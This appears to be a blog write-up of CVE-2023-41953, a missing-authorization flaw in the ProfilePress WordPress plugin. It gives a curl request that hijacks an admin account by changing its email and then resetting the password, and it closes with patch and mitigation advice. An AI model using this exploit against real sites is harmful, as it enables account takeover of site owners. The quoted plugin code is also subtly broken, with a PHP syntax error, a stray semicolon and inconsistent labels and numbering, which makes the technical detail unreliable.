CVE-2023-41953 - Exploiting the Missing Authorization Vulnerability in ProfilePress (v. up to 4.13.1)

---

WordPress powers a huge part of the internet, and plugins are a big reason why. But with popularity comes a target on your back. Today let’s dive deep into CVE-2023-41953, a "Missing Authorization" vulnerability affecting the extremely popular ProfilePress membership plugin for WordPress—potentially putting thousands of sites and user data at risk.

Background

ProfilePress lets you build membership sites, create custom user profiles, and handle registrations. Lots of WooCommerce businesses or communities use it. Versions *up to 4.13.1* are affected by this authorization bug.

What is ‘Missing Authorization’?

This means the plugin fails to check whether a person (user) is allowed to do something before letting them actually perform the action. Imagine being able to enter a staff-only room just because nobody bothered to check your badge!

What’s Vulnerable?

Attackers could perform actions they aren’t supposed to — things like editing another user’s profile, changing passwords, or even escalating privileges — just by sending the right web requests. No login required.

How Does the Exploit Work?

The core problem in vulnerable versions: some key functions in ProfilePress do not verify the current user’s privilege before running.

A real-world attack example might look like this (here’s a simplified REST API endpoint vulnerable in affected versions):

// From wp-content/plugins/wp-user-avatar/includes/ajax/profilepress-ajax.php

add_action('wp_ajax_nopriv_pp_update_profile', 'pp_update_profile'); // available even to those not logged in!
function pp_update_profile() {
    // No capability or authorization check!
    $user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : ;
    $new_email = sanitize_email($_POST['email']);
    $args = array('ID' => $user_id, 'user_email' => $new_email);

    wp_update_user($args);

    wp_send_json_success('Profile updated!');
}

Send a POST request

curl -X POST "https://victim.com/wp-admin/admin-ajax.php?action=pp_update_profile"; \
     -d "user_id=1&email=hacker@email.com"

3. The admin’s email is now changed to your chosen value. You could follow up with a password reset, which sends the link _to your email_.

Mitigation & Patch

ProfilePress versions after 4.13.1 include proper authorization checks, limiting profile actions to the right users only. Always update plugins as soon as a security patch is released.

Example fix (pseudo-code)

if ( ! current_user_can( 'edit_user', $user_id ) ) {
    wp_send_json_error( 'You don’t have permission.' );
    return;
}

Review your logs for unexpected profile or account changes.

- Consider using a WAF (Web Application Firewall) like Wordfence to monitor suspicious activities.

References

- CVE-2023-41953 NIST entry
- WordPress plugin details
- Patch Diff 4.13.2
- OWASP: Missing Function Level Access Control

In Summary

CVE-2023-41953 is a clear reminder: always validate permissions on every sensitive action, especially in user management functions. If you use ProfilePress, update NOW. The vulnerability is trivial to exploit and gives attackers complete control over your website.

Stay safe, update your plugins, and always keep an eye on your site's security!

Timeline

Published on: 12/09/2024 13:16:49 UTC
Last modified on: 12/09/2024 13:17:48 UTC